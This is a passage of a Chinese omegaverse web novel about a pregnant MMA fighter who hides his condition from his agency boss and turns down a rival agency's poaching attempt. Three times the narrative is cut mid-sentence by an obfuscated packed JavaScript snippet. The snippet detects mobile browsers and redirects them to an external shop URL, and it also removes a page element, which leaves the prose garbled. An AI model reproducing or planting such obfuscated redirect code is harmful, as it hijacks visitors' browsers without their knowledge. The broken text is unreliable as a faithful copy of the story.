“洛先生你忘啦?你配合我们做课题,那绝对是第一等级的关照,这个是毋庸置疑的。”小姑娘一张圆圆脸笑眯眯,像个布偶猫,洛城看得没脾气,也就没再继续为难。倒是填到“丈夫”一栏的时候,苏林菲见他跳过了,犹豫半晌,试探着道:“宝宝的爸爸有没有空来呢?一般爸爸也要抽三管血,查一查艾滋、乙肝、丙肝什么的,也是为了保证宝宝的健康。” 洛城拿笔的手一顿,面色生硬,片刻后继续密密地填写:“他不来。以后也不会来的。” ------------------- 做完检查刚走出医院,闻人律的电话便杀过来了。冷淡声线经过电波的加工后显得更加没有温度,话语也是言简意赅:“来公司一趟。李志明搞的烂摊子,有些细节要跟你商量。” 站在正午的大太阳下,洛城硬生生地打了一个冷颤。 还好昨夜唐秘书打的救急钱到账了,不然这会儿他还要走到公司去。在的士上收起墨镜口罩和帽子,他左看右看,好像只有裤子口袋可以放,于是一股脑塞进去,鼓囊囊的一大包。以这个不修边幅的打扮横穿公司时,洛城注意到许多朝他投来的视线,有好奇也有探询,甚至还有怜悯。在这聚光灯一般的注视下,他堪比城墙的脸皮终于感觉到些许烫热,不由悻悻地垂下头,脚步也加快了一些。 昨日不见踪影的陆庭风今天居然在公司。他倒了杯咖啡正要回总裁办公室,抬头看见打扮怪异的洛城,顿时惊了一下,半晌才道:“来了啊。”推开门请他进去。 闻人律正坐在沙发上翻阅一本厚厚的册子,洛城仓促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572157|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一瞥,只看到“评估报告”几个字。听见脚步声,闻人律抬起头,也被洛城的衣着震惊了两秒。洛城清清楚楚地看见他那双狭长的凤眼里露出了难以置信、惊愕、嫌弃等复杂神情,皱着眉上下打量几遍,最后撇开眼睛,无力道:“你搞什么,栽个跟头而已,不至于连肌肉都不想秀了吧?” 以前洛城在夏天只会穿背心和短裤,露出整个臂膀和两条长腿,健美身材惹得所有人都难以自制地侧目。今天不知吹的什么风,居然包裹得严严实实……他本人倒是无所谓,插着兜往单人沙发上一坐,一副不耐烦的样子:“找我来有什么事。” 嘿,这人还拿乔上了!陆庭风忍不住轻啧一下,控告地回头望向闻人律,意为看你签回来的好选手!但电光石火间,他想起自己前日被从车上踹下来的缘由……忿忿地压下不满,陆庭风一口气喝了半杯咖啡,按捺着道: “你目前的财务情况,我已经从林秘书那边了解了。现在你有两笔贷款逾期,不过幸运的是,逾期时间都在三个月之内,还有很大的弥补余地。公司这边可以代你跟银行交涉,调整还款计划,然后按部就班地还款。你现在没有钱,公司这边也可以垫付几个月——” 说到这儿,陆庭风又看了一眼坐在沙发上不动如山的闻人律,眼神揶揄:“——UFC那边我们也会积极交涉运作,争取三个月后能进行下一场比赛,这样就能解你的燃眉之急了。” 比赛?洛城本来老老实实地听着,这一刻猛抬起眼,神情坚定得像一名去意已决的战士:“我不会再比赛了。未来的一年内,你们都不要给我安排比赛,我不会打的。” 这句话像惊雷一般在办公室内炸响,闻人律一瞬间站了起来,难以置信地盯着他:“你说什么?你不……为什么不打了?” “不打就是不打,没有为什么。”洛城生硬地搪塞着,板起脸庞撇向一边,那模样活像个闹脾气的青春期少年。闻人律被他气得不轻,只感觉胃部又开始隐隐作痛:“你好歹说出个理由来吧?一言不合就闹罢赛,还一罢就是一年?……洛城,你是不是想逼我主动解约?” “不是。”依旧是那副欠揍的死相,依旧是那个僵硬的语调,洛城就跟个市井流氓似的,在登峰的总裁办公室里耍起了无赖:“我只是有事要做而已,一年后还会回来的。” “你要做什么事?”闻人律努力遏制着怒火,咬着牙不依不饶地质问:“什么事要花一年去做?什么事可以保证一年后一定会做完?洛城,你确定这一年不会变成两年、三年吗?!” 被他一连串的问题问得心烦意乱,洛城也坐不住了,猛站起来与他气势汹汹地对视:“有必要问得那么仔细吗?这是我的私事,我凭什么告诉你!……再说了,我又不是不回来。五场比赛的合约还在你手里,我如果反悔,你大可以去法院起诉我,难道我还能赖账啊!?” 这人真是……不可理喻、强词夺理!闻人律气得瞳孔都紧缩了一圈,一双凤眼带着怒火,冰山几乎要变成了火山:“是,你的私事可以保密,但你好歹也要为公司考虑一下吧?你这一走,我们所有的计划都成了空,根本连转圜的余地都没有!……你为什么不跟公司商量一下?万一我们可以帮忙呢,万一还能有别的解决办法呢?” “解决?你能怎么解决?你什么忙也帮不上!”被逼问得心浮气躁,洛城涨红了脸,隐藏的秘密几乎就要脱口而出。但在那瞬间,他脑中灵光一闪,忽然想到了一个解释——一个几近完美的借口:“老子被人坑了!两个月前那个盛筵,有个Omega没吃药,怀了我的孩子,现在找上门来要我负责,我不就只能伺候他们娘儿俩孕期吗?!不然这事儿爆出来,我的名声怎么办?!” 什么……?! 闻人律和陆庭风同时惊呆了。那一刻,他俩下意识侧过脸,面面相觑,心中的想法显然是不约而同的。恍惚地张张唇,又用力一抿,闻人律收回视线,缓缓坐回沙发上——本以为自己是被人算计的那一个,但没想到,那个未知的定时炸弹还不见踪影,这边洛城却被炸了个正着?他久久无法回神,心中忽然对洛城生出了无边的同情。 “你……”都不知道该说什么,闻人律抬手扶额,无力道:“你再想要孩子,也不该这么糊里糊涂的……让她打掉不行吗?” 见他似乎对这个理由深信不疑,洛城顿时放松许多,开始口无遮拦地随性胡诌:“人家不愿意打,难道我还能绑着她去医院吗?” ……未必不能啊。闻人律又跟陆庭风交换了一个相同的眼神。思忖片刻,陆庭风轻咳一声,隐晦地道:“如果你不忍心,我可以找人……” 听出他的意思,洛城一怔,也不知想到什么,当即虎目圆瞪,愤怒得几乎跳起来:“你们……你们也太没人性了!虽然她才两个月不到,还是个胚胎,但也不能随随便便就抹杀啊!这,这可是一条生命!你们这是谋杀知不知道?!也不怕损了阴德!” 被痛斥得目瞪口呆,无言以对,闻人律和陆庭风仰脸望着怒不可遏的洛城,那瞬间好像被他摁在道德的低谷,乌龟似的无法翻身。谈话进行到这个地步,今天已经没有再讨论的必要了,只能暂时按下,再从长计议。闻人律疲惫地低头扶额,半晌摆摆手,声音低哑道:“行,你先回去吧……银行的贷款,公司再想想其他办法,有结论了会通知你。” 早这样不就好了!洛城鄙夷地乜斜着他俩,还十分嫌弃地“哼”一声,随即一扭头,大摇大摆地走了出去。办公室里顿时陷入一片沉寂,两个人都悻悻无声。直过了好半晌,陆庭风才一言难尽地抻抻眉毛,用力揉把脸,慨叹道:“想不到有一天,咱们居然会被洛城鄙视……” 闻人律不说话,显然还没从心累中缓过劲儿来。陆庭风扭头望他,不禁面露同情:“……我发现,好像从那次赛前失踪之后,这人就开始对你大呼小叫了,是不是?他以前还挺尊敬你的,整个公司就你能煞一煞他,怎么,现在好像没用了?” 真是哪壶不开提哪壶!闻人律抬起头,隐怒地瞪他一眼,抓起茶几上的可研报告往他脚边用力一砸,骂道:“还在这儿啰嗦,赶紧去想办法!” “……嘿你!”真是说不得!陆庭风一边犯嘀咕一边走出办公室,心道:要不是小林秘书打电话求我帮忙,你以为那一踹我能就这么揭过去!操,明明是你自己决策失误,还不让人说,得,以后我都闭嘴了,你自己跟洛城折腾去吧! 24. 挖墙脚 想不到自己居然急中生智编出了一个合情合理的借口,洛城那个沾沾自喜,坐在的士里都眉飞色舞的,心想这一年可以高枕无忧了。闻人律要是找自己有事,他就一句话甩过去:女朋友孕期不舒服,不去!或者,宝宝刚降生,母女都需要人照顾,不去!……反正所有人都知道他想要孩子,何不顺势表现得偏执一点? 心情一时间很好,当他回到家,看见餐桌上摆着一盘新鲜出锅的清蒸鲈鱼时,大脑居然完全没察觉到不对。洛城还跟厨房里的敏姨打招呼呢:“敏姨,你快做完了吧?留下来一起吃啊!” “快做好了,就还剩一个炒青菜!”敏姨在爆炒的嗤喇声中高声应他。 奔波一天也确实饿了,洛城迫不及待地用筷子夹起几片凉拌牛肉塞进嘴里,咸香微辣,牛肉中带着辣椒、香菜和芹菜的香味,好吃得他摇头晃脑:“敏姨,你做的凉拌牛肉完全可以开店了!”大声夸完,他的视线溜一圈,最后落在了那盘热气腾腾的清蒸鲈鱼上。 心无戒备地夹起一大块柔嫩的鱼腹吃进嘴里,洛城连夸敏姨的词儿都想好了,却不料一股刺鼻的鱼腥味直冲喉咙,仿佛有人塞了条腐臭的鱼到鼻子里似的,腥得他当即呕了出来,“哕”一声跌跌撞撞地冲向卫生间。 敏姨端着青菜正走到厨房门口,看见这一幕,面色不禁刷白:“怎么……难道我这鱼买得不新鲜?” 把青菜放到桌上,敏姨紧张地夹起一块鱼肉尝一尝——明明很鲜美呀?那摊上的鱼是一等一的好,买的时候自己也仔细检查过的,怎么会吃得想吐呢?不放心地追到卫生间门口,她见洛城在马桶前佝偻着高大的身躯,宽阔的脊背痉挛似的不断高耸,呕得声嘶力竭。不禁自责,她问:“阿城,这鱼……我做的不好吃是吗?” 凌乱地摆摆手,洛城艰难地止住吐意,嘶哑道:“没有……我就是,最近不想吃鱼。敏姨,以后你……”说到这儿,他似乎忽然想起什么,怔忡地没了声音。半晌,敏姨见他艰难地直起身,扯张湿纸巾擦擦嘴,苦笑着转过头,望向自己:“敏姨,以后,我可能没法儿继续雇佣你了。” 略显苍老的五十七岁Omega阿姨面容一怔,失望的惆怅之意随即从眼角眉梢不可抑制地流淌出来,让她看上去平白又老了两岁:“……阿城,是不是我哪里做得不好呀?” “敏姨,不是你做得不好。”赶忙走上前揽住她肩,洛城把人带到客厅坐下来,郑重道:“是我这边出了一点儿小问题……我,我存款没了,这间房子也有可能保不住,所以没钱再请你做事了。” “存款没了?!”敏姨被这话吓了一跳,整个人肉眼可见地变得慌乱,焦急道:“怎么会没有了,是被人偷走了吗,还是被骗了?你有没有去报警?……要赶紧报警啊,警察会帮你追回来的!” 本来还想给自己保留一分颜面,但敏姨如此紧张关切,洛城也没法儿再遮掩:“是被骗了,就我那个经纪人李志明,他……他骗我投资一个项目,哄着我把房子抵押了,存款也转走了。” 敏姨见过李志明,就在洛城家里,以前他们一伙人经常来这儿吃饭。听到这个名字,她一拧眉,痛心地叹了口气:“哎……其实我早就觉得这人不靠谱的,但他好像是你多年的朋友,我,我又只是个钟点工而已,不好指手画脚……就没跟你说。这种人我以前见过几个,你别看他跟人称兄道弟、说话天花乱坠的,其实最爱算计身边人,专骗朋友的钱!” ……连敏姨都看出李志明不是个好东西,自己却跟个傻子似的,还把他当患难兄弟。洛城苦笑:“是啊,他骗的都是身边人的钱。警察说,他卷了将近两千万,一个月前就出国了,我居然现在才发现不对劲。” 见他神情萎靡,全没了往常的风发意气,敏姨也不再多言,转而问:“那,那你没了钱,没了房子,以后怎么办呢?你要回望海街住吗?……回去住的话,我可以继续照顾你,咱俩一起吃饭,撑个一年半载没问题。” 想不到敏姨居然考虑接济自己!洛城那个震惊、那个感动,心里酸酸软软的,嘴巴都差点儿扁起来。他其实很想答应敏姨,想跟她回到望海路老家“避难”,但同时洛城又心知肚明,自己在老房子住不久的……那儿都是熟悉的长辈,每天抬头不见低头见的。等之后月份大了,肚子鼓起来,他该如何解释呢? “没事的,敏姨。”干巴巴地扯出一个笑,洛城又开始胡诌:“我虽然钱没了,但不至于活不下去。我在公司还有代言费呢,等到了七月,下个季度的钱就打过来了。我老板还说,会尽快给我安排比赛,这样首付也很快赚回来了。到时候按揭个房子……敏姨,我再去请你,你可别嫌我。” “怎么会嫌你!”心酸地推他一下,敏姨擦擦眼睛,又重重拍了拍他的手背。 -------------------- 明明五天之后就是江源C22-3地块的开标会,现在闻人律却要分神去处理洛城的事儿,说不心烦那是假的。在办公室加班到晚上八点,陆庭风拎着外卖进来,忙活了一整天的二人终于可以休息片刻,可谈话间依旧离不了工作: “我思来想去……洛城那房子,未来一年内如果他没能力继续还款的话,公司其实可以先垫付。反正只是一年而已,等一年后他回来,比一场赛,出席几个活动、再上个综艺,垫付的帐就能平上了。” 闻人律面无表情地埋头择着菜,把配料中的香菜、芹菜都挑出来,冷酷无情道:“我不想帮他还款。这人惰性大,你让他过得太舒服,他就不思进取了。” “那要不……”陆庭风考虑两秒,提出了另一个方案:“找个过桥公司出钱帮他把房子解押?我查过,他那二套房子买得还行,这两年涨了一些,应该好卖。顺利的话,卖房的钱肯定够还所有的欠款了,还能余下几十万也说不定。” 这个方法倒是可以。终于把配菜择干净,闻人律夹起两片牛肉吃进嘴里,点点头道:“就这样办吧。过桥公司也不必找了,我这里有些钱,可以先帮他垫资解押。不过你不能跟洛城说真话,即使余了钱也得说没有,明白吗?” “你想让他有点儿危机感?”陆庭风了然。 闻人律冷哼一声:“再不紧一紧他的皮,等一年后回来,他真就废了!我就是要让他好好焦虑十二个月。钱可以给一点儿,但不能多,刚好够用,这样他才会知耻而后勇!” “哇……”陆庭风瞪大眼睛,怪模怪样地揶揄:“你真残忍!人家还要养老婆孩子的哎。” “呵,”闻人律依旧不以为然:“既然知道要养老婆孩子,那就更应该痛改前非——我这是在帮他!说不定以后他老婆孩子还要感谢我呢。” 这么一合计,第二天陆庭风就给洛城打了电话:“既然你未来一年不准备比赛,那房子肯定是保不住了。公司便可以帮你找人垫资解押,但肯定要付一些过桥费……如果你同意,这几天就把家里的贵重物品收拾了吧。家具什么的没必要搬,反正你望海路的房子小,也放不下,留着还能卖些钱。” 虽然已经做了心理准备,但事情真的发展到这一步,洛城仍不免有些惆怅:“这么快就要收拾了吗?” “那肯定是早做早好啊,万一正巧有买家上门呢?把这事儿了结了,你也能踏实地照顾老婆孕期,不是么?” “行吧,那我去收拾东西。” 挂了电话,闻人律在一旁目不转睛地关注着,不禁狐疑:“他都没问一嘴自己的房子能卖多少钱吗?” 陆庭风耸耸肩:“没有,他好像根本不关心。” ……这家伙!闻人律恨铁不成钢地翻了个白眼:对钱财如此迟钝,难怪会被李志明骗!罢,罢!这事儿就这么解决吧,接下来穷他个一年半载,他总该开窍了! 忿忿地拿起手机走出办公室,他准备吩咐唐秘书去郊区的松园山庄定一桌宴席,在开标之前再宴请钟书记一次。结果一出门就见林秘书神情奇异地绷着张小脸快步跑过来,附到他耳边小声说:“律总,腾云的褚总在会客室等你。” ……褚云争? 脚下猛地顿住,闻人律拧眉看她一眼,神情中满是警惕:“他一个人来的?” “没有,还带了个助理。”林秘书小心翼翼道:“我见他胸有成竹的,说有要紧事跟你商量……跟洛城有关。” 双眼倏地眯起,闻人律思忖两秒,吩咐道:“你跟唐秘书说,预约今晚八点松原山庄的雅间。”说完,转过身朝会客室大步走去。 穿过廊子,远远的闻人律就透过干净通明的玻璃隔断看到了那个从容不迫的Beta男人,穿着件浅香槟色的丝绸衬衫坐在沙发里,两条长腿懒洋洋翘着,一双孟克靴鞋头尖尖,漆皮油亮。 闻人律目不斜视地走进去,也不寒暄,坐下来开门见山地道:“褚老板大驾光临,有何贵干。” 褚云争正不紧不慢地品茶,一张出尘的面庞上透着不相称的揶揄笑容,被热腾腾的水雾掩盖着,仿佛冬雾之中的雪皑墨松:“干嘛这么生疏?是不是上次我打你一巴掌,你还没消气?” 闻人律冷眼睨着他,并不回答。这人向来如此的,阴晴不定、随心所欲,上一秒还有说有笑,下一秒就能立即翻脸,活脱脱一个被惯坏了的大少爷。他试着相处过半年,最终还是无法忍受,两人不欢而散。如今二人成了竞争对手,闻人律更不打算惯着他:“有事说事,没事就恕我不奉陪了。”说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572158|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着便准备起身离去。 褚云争面色一变,眼中温度骤降,将茶杯重重地放了下来:“怎么回事,律总,今天耐性不佳啊,是不是在烦心什么棘手的问题?” ……看来还是被他知道了。 闻人律面色森冷地坐回来。两人就如同坐在一个跷跷板上,一方落下,另一方便占据优势。他的神情难看了,褚云争的心情立即大好,柳叶长眼弯弯地笑起来,像一只玩弄老鼠的猫: “我知道你们最近在忙什么——旗下十几名运动员被骗了将近两千万,这也算是个不大不小的丑闻吧?报道出去,免不了要被网友说一句四肢发达、头脑简单的。不过呢,我也不想落井下石……我怎么做,就看你的表现了。” 望着他游刃有余的笑容,闻人律不为所动,只问:“你从哪里知道的?” “我自然有我的渠道,你就不用打探了。”褚云争直截了当地回绝他,脑袋像猫似的轻轻一歪,眼底闪过一丝亮光:“我还听说……洛城不满你的运作和安排,想跟你解约,转投腾云?既然这样,你何不成人之美呢?解约金我这边可以付,他被诈骗的损失我也有办法处理,至于你们登峰嘛,也能避免声名扫地……如何?三赢的局面,错过可就没有了哦?” 想不到他一开口就是跟自己讨要旗下的头牌运动员,闻人律面沉如墨地靠在沙发背上,十指交扣放在膝头,露出一个冷笑:“褚云争,你就这么忌惮我的公司吗,恨不得把所有人都挖过去?” 冷不丁听他唤自己的全名,褚云争笑容褪去,终于露出耿耿于怀的怒容:“忌惮?……哈,你也配?一个成立五年的小公司而已,你觉得我会害怕吗?” “你不怕,那为什么对登峰围追堵截?” “你觉得是为什么呢?”褚云争的语调变得讥讽而尖利,那怨恨的视线几乎要化出实体,一刀一刀向闻人律扎去:“你用着在我家公司学到的东西,抢我家的业务、瓜分我家的的市场,我为什么不对你围追堵截?!” “你家的业务?”闻人律冷笑着反问:“我没记错的话,升冠是做三大球起家的,五年前才增加了网球和拳击,跟我的综合格斗又有何相关?虽说我这两年我也签了一些拳击手,但那是我自己去低级别赛事发掘的,跟你们签成名的选手也不冲突,又何来抢业务一说?” “——但你入职升冠偷师是板上钉钉的吧?你敢说你没有?!” “偷师?”闻人律给了他一个不屑一顾的眼神:“我光明正大入职工作,这叫什么偷师?照你的意思,离职员工从事同一行业,这就是偷师了?难道从你们升冠离职的员工全都转行了,还是说,你跟他们都签了竞业协议?” “你……!”被他反驳得说不出话,褚云争面容铁青,神情且羞且怒,仿佛遭受了巨大的羞辱。闻人律继续反问:“话说回来,当年面试的第二轮你爸爸就把我认出来了,我也跟他聊得很清楚,我就是想来熟悉这个行业的。如果你们不愿意,大可在当时就把我刷掉,而不是现在旧事重提,绞尽脑汁地往我头上扣什么帽子!” “你以为我愿意!”腾地站起身,褚云争再也忍不住了,双目通红地瞪着他,嘴唇颤抖:“我爸对你有什么不好?你想熟悉业务,好,他什么场合都带你去,什么人都为你引荐,结果呢?你就是这样报答他?” 望着他失控的面容,闻人律依旧不动如山地坐在沙发里,神情冷酷,眼眸清明:“褚云争,我并没有要求你爸爸像培养儿婿一样培养我。我有我自己想做的事业,甚至我家也有大把的产业等我回去继承——你觉得我会遂你们的愿吗?不可能的。” “那你就回去继承啊,我又没拦着你!”所有的伪装在他脸上分崩离析,此时褚云争的神情中只剩下满满的不甘和深刻的怨恨:“你想做体育事业,跟我结婚后接手升冠就可以了,为什么非要自立门户!……你就那么想跟我分手吗?” “褚云争,你不要颠倒黑白——当年是你跟我提的分手,不是吗?”闻人律不留情面地提醒他。 ……那是我赌气的!心里这样嘶吼着,但终究没有说出口——已经被他羞辱得足够了,不是么?别再自取其辱了!眼中映着他冷酷无情的脸,褚云争紧咬下唇,一点点将磅礴而出的情绪收了回去。他眨眨眼、整整衣袖,又变回了那个清俊出尘的高傲Beta: “好,既然你油盐不进,那我就没什么好商量的了,你好好等着今晚的新闻吧!还有——我不会放弃洛城的。你不答应解约,不见得他也不答应!” “好啊,你大可以试试。”闻人律虽然不为所动地这样回答,但在褚云争二人离开会议室的那一瞬,他立即掏出手机,如临大敌地拨通了洛城的电话。 25. 三角拉扯 洛城这会儿正在家里慢腾腾地收拾着衣服首饰。敏姨离职了,他自己整理,搞得乱七八糟的。 衣柜上层放着一些收纳袋,他扯了几个大的下来,把套了防尘罩的高档西装一件件塞进去,堆得歪七扭八也不管。首饰有几件,三块手表,两个戒指、一条宝石手链、一条项链,都是以前为了出席活动,闻人律特意带他去买的,值个二百来万。洛城想了想,拿了个小收纳袋装好,再塞进大袋子里——差不多就这样吧,未来一年估计也用不着了。 收拾到床头柜时,他冷不丁摸出了一条皮质链子,细细的,约莫四十厘米长。正疑惑着这是啥玩意儿,但在看见玫瑰花纹的黄铜锁扣时,洛城想了起来:这是那天晚上那个Alpha的东西! 不禁“操”地骂一声,他丢也不是,收起来也不是,左右为难之下,干脆烫手地扔在床头柜上,跟一些杂物堆在一起,转头去做别的事了。 闻人律的电话就是这时候打过来的。 “你在家吗?”劈头盖脸地被这么问一句,洛城懵了一秒,莫名生气:“我不在家还会去哪儿啊?!不是你们让我收拾东西的么,还问!” 闻人律被他吼懵了,心说这人……!比赛没赢,脾气倒是见长,越来越喜欢跟自己大呼小叫了!但事态紧急,也顾不上杀他威风,只急躁道:“你哪儿也别去,我去找你。”随即干净利落地挂了电话。 半个钟后,闻人律风驰电掣杀到,心急如焚地在单元楼门口摁门禁。望着对讲屏幕中他神情紧绷的俊脸,洛城的心情莫名有些好,忍不住拉长了声音为难他:“律总,你来干嘛呀?” “有话跟你说!”闻人律还没察觉到这家伙的险恶用心。 “我收拾东西呢,家里乱糟糟的,不方便。要不就在对讲机里说吧?”洛城的声音经过电波加工后显得愈发懒洋洋,闻人律终于反应过来,当即眯起眼,露出一副“被我逮到你就死定了”的威逼神情,咬牙道:“——洛城,你不想休假了是不是?!” 啧,这么不禁逗!洛城嫌弃地放他进来,一分钟后,门口传来“咔嗒”一声,闻人律居然直接打开了他家的大门!洛城愕然瞪着他:“操,你怎么知道我家的密码?!” “你比完赛的那个晚上,我跟着曹教练过来,见他摁过一次。”闻人律抬起下巴,用鄙夷的视线冷冷睨着他:“3月16日……呵,你倒专情,还记着小晴的生日。只可惜,你已经跟别的人有孩子了。” “我就是忘记改了……”被人家堂哥逮了个正着,洛城张口结舌的,理亏得很:“而且我是着了别人的道儿,你以为我自己想瞎搞啊!?” 懒得再拉扯这件事,闻人律关上门,大步走到他面前,与他直直对视着:“待会儿腾云的老总估计要来找你。他想把你签过去,同时会许诺帮你付违约金、替你解决银行贷款等事情。不过我清楚他们的德行,羊毛出在羊身上,等你真的签过去,他们肯定会想办法从你身上十倍百倍地赚回来的。而且腾云的签约条款更苛刻,抽成更高……” 羊毛出在羊身上?洛城忍不住鄙夷地乜斜双眼:“说得好像你不是这个德性似的。” ……你!闻人律感觉自己又开始胃疼了:“我只抽你四成,你知道腾云抽几成吗?他们要抽六成的!” “那人家手上的资源也确实更多嘛。”洛城满脸的不以为意。 “是啊,资源更多,但以你这个懒散的性子,你接得住吗?”真不知道自己几斤几两了还!闻人律按下脾气还想再说他两句,餐厅墙上的对讲机就响了。两人一齐望去,只见屏幕中显示着一张清俊出尘的面庞,笑容亲切:“洛先生你好,我是腾云的褚云争。没跟你打声招呼就来了,我知道是有点儿唐突,但我真的特别想跟你聊一聊,能不能赏个脸呢?” 下意识望向闻人律,洛城见他严肃地板着脸,警告似的朝自己摇头。心理一股逆反的情绪顿时冲上来,他的神情慢慢变作挑衅,伸手在对讲机上用力一摁,给褚云争放了行:“你上楼吧,我在802。” 这家伙!闻人律气得瞪大眼,正要质问,洛城皮笑肉不笑地走过来,不由分说地扳过他肩膀把人往房里推:“你先回避一下啊!腾云的条件再苛刻,我也要亲自听过之后再下定论……” “你!……原来你还没断了解约的心思!”踉踉跄跄地被推进主卧里,闻人律撑住门板,一张俊脸气得有些狰狞:“洛城,除了我,谁还会答应你休假一年这种离谱的要求?!你别白日做梦了,腾云不可能让你休息的……” “好好好我知道我知道,你就在这儿老实待一阵子吧!” 一个想关门,一个却用力撑着门,两人都较着劲儿,僵持不下。洛城忍不住“啧”一声,心说这厮的力气什么时候变得这么大了?干脆抬脚把人狠狠一踹,随即“碰”一声沉闷,房门终于关上。 被职业格斗选手蹬在大腿正中,闻人律痛得踉跄两步,向后倒在了软绵绵的衣服堆里。四周顿时腾起一股淡淡的气味,氤氲的、清浅的,颇为好闻……好像是大麦茶?闻人律咬牙切齿间嗅闻到,心想不对啊?洛城的信息素他闻过的,在两年前。 那一次赛前洛城突发易感期,为了保存体力,就没有叫他当时的女朋友来。结束之后,自己跟医疗团队一起破门查看情况,那时他闻到的是一股浓重的麦青味儿,而不是这个淡淡的大麦茶味。 ……难道是那个怀孕的Omega? 狐疑地爬起身,扭头四望,周围乱七八糟的全是没整理好的衣服鞋袜,床上、地上、床头柜上都是一片凌乱,根本没有Omega的踪迹。闻人律不禁鄙夷,心想那Omega都不来跟洛城同居,仅凭一个孩子就把人套牢了,看来洛城的道行也没高到哪儿去。 这时,门外传来一阵细小的动静,应当是褚云争进门了。闻人律赶忙走到门边,将门扇打开一条缝隙,两人交谈的声音顿时变得清晰:“……洛先生,这次比赛失利,我想你应该很不甘心吧?” 闻人律一听就知道他想从登峰的业务能力开刀,借此炫耀一番腾云的资源,好让洛城心甘情愿转投至他家门下。忿忿之时,他却听得洛城轻笑一声,自嘲地道:“这次是我自己心不在焉,没好好备赛,所以输了也没什么好推脱的,只能下次一雪前耻了。” ……这倒是让闻人律怔了两秒。 客厅里,褚云争也略显意外地望着洛城,忍不住道:“洛先生,难道你……你不觉得这次失利有经济公司的能力原因吗?如果你请到的导师不是桑萨克,而是西提猜,巴柔方面请到了格雷西家族的人,结果就有可能不一样。你也知道,登峰只是个新兴的公司,资源比不上腾云,更别说升冠了。登峰能给你的,腾云肯定能给得更多——你就不心动吗?” 心动啊,怎么不心动?洛城想。但对于现在的他而言,最重要的并不是事业的发展,而是肚子里这个小东西。他也不绕圈子,双眼清明地望着褚云争,问得直截了当:“我当然很心动。之前听说你们请了很多大师给选手做特训,我也很羡慕。但目前的问题是……未来的一年内,我因为一些私事,没办法再继续比赛。登峰愿意等我,但腾云呢?腾云也愿意等我吗?” “一年?”闻言,褚云争难以置信地拧起眉,露出了不赞同的神情:“洛先生,你知道你现在的处境吗?你输了这么重要的比赛,不想着卷土重来,反而还要休息整整一年……?你不怕等你回来后,UFC已经没有你的位置了吗?” 没有我的位置?洛城耸耸肩,笑得轻闲而笃定:“休息一年,也许我的竞技状态会差一点,但绝不可能没有一席之地。我很清楚自己的能力,两年之内,至少国内没人比得过我,国外的话……那些选手浮浮沉沉,也未必能全部爬到我前头。” 话音落下,不止是褚云争,连主卧门后的闻人律也暗暗吃了一惊——原来洛城的脑子清醒得很,他并不像平日里表现的那样粗枝大叶。以往的懒散也许只是因为缺少危机感,能花一点儿力气就能得到的东西,又何必全力以赴呢? 客厅里,褚云争见他不肯松口,挖角的决心便淡了许多:“这真是太遗憾了……”他失望地总结陈词。洛城听出他的言外之意:看来腾云对于自己的加盟很有信心,并且有了一系列的工作计划,只可惜啊……无奈地笑笑,他一摊手:“多谢褚老板厚爱。但这个假我是必须要休的,只能说现在时机不对,咱们有缘无分。” “是我太唐突了。”谈不拢自然是好聚好散。褚云争礼貌地道了别,领着秘书毫不留恋地离去,闻人律随即不紧不慢地从主卧走出来,用揶揄而克制的眼神瞥着洛城:“怎么不跟他好好推销自己啊?刚才那一脚踹得那么迫切,我还以为你去意已决呢。” “那他不肯让我休息一年,我就不跟他签了呗。”洛城一脸的无所谓,说着忽然转过头,冲他露出个狡黠的笑:“哎,律总,我这房子真要卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572159|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,又带装修又带家具的,应该能多卖个一百来万吧?” “不知道。”闻人律板起脸,“看最后结果吧,尽量帮你卖贵一些。” “我刚才查了房价,这边现在涨了点儿,每平涨了有小一万……”洛城扳着手指开始精打细算:“带装修家具卖的话,还了银行和信用卡的欠款之后,估计还能剩个七八十万的。到时候给过桥公司一点儿,你们的辛苦费也给一点儿,起码还能剩个二十万。” 算到这儿,他嘴角一咧,嬉皮笑脸地又凑了过来:“要不,你先把那二十万给我吧?之后房子卖出去,就不用再给我钱啦!” “啧!”得寸进尺了还!瞪着他近在咫尺的无赖笑颜,又嗅到那股淡淡的大麦茶气息,闻人律下意识退开一步,嫌弃道:“前两天不刚给了你一万,你就用完了?” “我把钟点工阿姨辞退了,给她结了二十天的工资,可不就没钱了呗,现在兜里只剩下一千多。”洛城竖起一根手指,又笑,整齐的牙齿白得晃眼:“我都拒绝腾云了,多仗义啊!你就给我预支二十万嘛,不然我怎么养小孩?” “……房子都没卖出去,我怎么给你预支?把别人的奖金挪给你吗?”冷瞪他一眼,闻人律不再多言,错开他朝大门走去:“一千块也够你撑个七八天了,省着点用!” 